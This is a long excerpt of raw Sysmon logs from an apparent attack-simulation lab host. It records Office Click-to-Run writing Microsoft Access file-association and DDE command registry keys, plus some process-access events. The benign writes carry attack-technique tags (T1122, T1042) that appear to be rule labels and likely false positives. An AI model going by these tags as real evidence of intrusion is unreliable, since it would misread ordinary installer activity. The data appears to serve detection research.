14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\printto\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\printto\ddeexec\ifexec\(Default)[] 13241300x800000000000000039844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\printto\ddeexec\(Default)[PrintTo "%%1","%%2","%%3","%%4"] 13241300x800000000000000039843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\printto\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1","%%2","%%3","%%4"][ShellQuit] 13241300x800000000000000039842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\print\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\print\ddeexec\ifexec\(Default)[] 13241300x800000000000000039840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\print\ddeexec\(Default)[PrintTo "%%1"] 13241300x800000000000000039839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1"][ShellQuit] 13241300x800000000000000039838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\preview\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\preview\ddeexec\ifexec\(Default)[] 13241300x800000000000000039836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\preview\ddeexec\(Default)[SetForeground][OpenReport "%%1", 2] 13241300x800000000000000039835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\preview\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenReport "%%1", 2] 13241300x800000000000000039834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\open\ddeexec\(Default)[SetForeground][OpenReport "%%1", 2] 13241300x800000000000000039831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenReport "%%1", 2] 13241300x800000000000000039830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\design\ddeexec\(Default)[SetForeground][OpenReport "%%1", 1] 13241300x800000000000000039827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenReport "%%1", 1] 13241300x800000000000000039826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\browse\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\browse\ddeexec\ifexec\(Default)[] 13241300x800000000000000039824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.534{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\browse\ddeexec\(Default)[SetForeground][OpenReport "%%1", 5] 13241300x800000000000000039823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Report.1\shell\browse\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenReport "%%1", 5] 13241300x800000000000000039822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\printto\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\printto\ddeexec\ifexec\(Default)[] 13241300x800000000000000039820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\printto\ddeexec\(Default)[PrintTo "%%1","%%2","%%3","%%4"] 13241300x800000000000000039819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\printto\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1","%%2","%%3","%%4"][ShellQuit] 13241300x800000000000000039818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\print\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\print\ddeexec\ifexec\(Default)[] 13241300x800000000000000039816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\print\ddeexec\(Default)[PrintTo "%%1"] 13241300x800000000000000039815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1"][ShellQuit] 13241300x800000000000000039814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\preview\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\preview\ddeexec\ifexec\(Default)[] 13241300x800000000000000039812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\preview\ddeexec\(Default)[SetForeground][OpenTable "%%1", 2] 13241300x800000000000000039811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\preview\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenTable "%%1", 2] 13241300x800000000000000039810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\open\ddeexec\(Default)[SetForeground][OpenTable "%%1"] 13241300x800000000000000039807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable "%%1"] 13241300x800000000000000039806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\design\ddeexec\(Default)[SetForeground][OpenTable "%%1", 1] 13241300x800000000000000039803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.518{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Table.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenTable "%%1", 1] 13241300x800000000000000039802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\open\ddeexec\(Default)[SetForeground][OpenDataAccessPage "%%1"] 13241300x800000000000000039799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage "%%1"] 13241300x800000000000000039798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\design\ddeexec\(Default)[SetForeground][OpenDataAccessPage "%%1", 1] 13241300x800000000000000039795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.DataAccessPage.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage "%%1", 1] 13241300x800000000000000039794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\accessthmltemplate\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" 13241300x800000000000000039793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.503{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Workgroup.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" 10341000x800000000000000039792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.487{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5608-00000000F001}5044C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000039791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WizardDataFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" 13241300x800000000000000039790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.BlankDatabaseTemplate.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /NEWDB "%%1" 13241300x800000000000000039789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDEFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\accesshtmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" 13241300x800000000000000039787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\openAsReadOnly\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\openAsReadOnly\ddeexec\ifexec\(Default)[] 13241300x800000000000000039785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\openAsReadOnly\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1",0,1] 10341000x800000000000000039784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.471{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5608-00000000F001}5044C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.471{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5608-00000000F001}5044C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\New\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\New\ddeexec\ifexec\(Default)[] 13241300x800000000000000039776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common 